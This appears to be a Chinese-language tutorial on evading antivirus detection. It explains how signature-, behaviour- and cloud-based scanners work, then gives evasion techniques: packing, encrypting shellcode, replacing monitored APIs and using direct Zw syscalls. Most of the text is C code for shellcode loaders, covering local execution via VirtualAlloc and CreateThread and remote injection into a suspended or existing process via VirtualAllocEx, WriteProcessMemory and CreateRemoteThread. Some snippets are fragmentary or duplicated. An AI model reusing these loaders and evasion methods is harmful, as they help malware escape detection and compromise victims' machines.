目前的反病毒安全软件，常见有三种，一种基于特征，一种基于行为，一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。

对特征来讲，大多数杀毒软件会定义一个阈值，当文件内部的特征数量达到一定程度就会触发报警，也不排除杀软会针对某个EXP会限制特定的入口函数来查杀。当然还有通过md5，sha1等hash函数来识别恶意软件，这也是最简单粗暴，最容易绕过的。 针对特征的免杀较为好做，可以使用加壳改壳、添加/替换资源、修改已知特征码/会增加查杀概率的单词（比如某函数名为ExecutePayloadshellcode）、加密Shellcode等等。

CreateThread CreateThreadEx

xxx -> ntdll.dll -> win32API

对行为来讲，很多个API可能会触发杀软的监控，比如注册表操作、添加启动项、添加服务、添加用户、注入、劫持、创建进程、加载DLL等等。 针对行为的免杀，我们可以使用白名单、替换API、替换操作方式（如使用WMI/COM的方法操作文件）等等方法实现绕过。除常规的替换、使用未导出的API等姿势外，我们还可以使用通过直接系统调用的方式实现，比如使用内核层面Zw系列的API，绕过杀软对应用层的监控（如下图所示，使用ZwAllocateVirtualMemory函数替代VirtualAlloc）。

```
int main()
{
    LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
    unsigned char data[] = "\x00\x48\x83";
    char a1[] = "\xfc\xe4\xc8";

    SIZE_T Size = sizeof(data);

    //decrypt
    for (int i = 0; i < sizeof(a1); i++) {
        memcpy(&data[i * 3], &a1[i], 1);
    }

    RtlMoveMemory(lpvAddr, data, sizeof(data));
    DWORD pa = 0x01;
    VirtualProtect(lpvAddr, sizeof(data), 0x10, &pa);

    if (lpvAddr != NULL) {
        HANDLE s;
        s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpvAddr, data, 0, 0);
        WaitForSingleObject(s, INFINITE);
    }
}
```

ThreadHijacking
VirtualAllocEx(CreateNewProcess)

```
char a1[] = "\xfc\xe4\xc8\x00\x41\x51...";

SIZE_T size = 0;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;

ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

BOOL success = CreateProcessA(
    NULL,
    (LPSTR)"C:\\Windows\\System32\\mblctr.exe",
    NULL,
    NULL,
    true,
```

```
    CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,//有扩展启动信息的结构体
    NULL,
    NULL,
    reinterpret_cast<LPSTARTUPINFOA>(&si),
    &pi);

HANDLE notepadHandle = pi.hProcess;
LPVOID remoteBuffer = VirtualAllocEx(notepadHandle, NULL, sizeof data, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

WriteProcessMemory(notepadHandle, remoteBuffer, data, sizeof data, NULL);
HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
    return 1;
}

if (ResumeThread(pi.hThread) == -1) {
    return 1;
}
```

VirtualAllocEx(Use existing app)

```
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
if (hProc == INVALID_HANDLE_VALUE) {
    printf("Error opening process ID %d\n", procID);
    return 1;
}
void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
    printf("Error allocating memory in remote process\n");
    return 1;
}
if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
    printf("Error writing to remote process memory\n");
    return 1;
}
HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
if (tRemote == INVALID_HANDLE_VALUE) {
    printf("Error starting remote thread\n");
    return 1;
}
WaitForSingleObject(tRemote, INFINITE) == WAIT_FAILED
```

VirtualProtect

```
// BOOL VirtualProtect(
//   LPVOID lpAddress,
//   SIZE_T dwSize,
//   DWORD  flNewProtect,
//   PDWORD lpflOldProtect
// );

LPVOID lpvAddr = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD pa = 0x01;
VirtualProtect(lpvAddr, sizeof(data), PAGE_EXECUTE, &pa);
//PAGE_EXECUTE 启用对页面的提交区域的执行访问。尝试写入提交的区域会导致访问冲突
```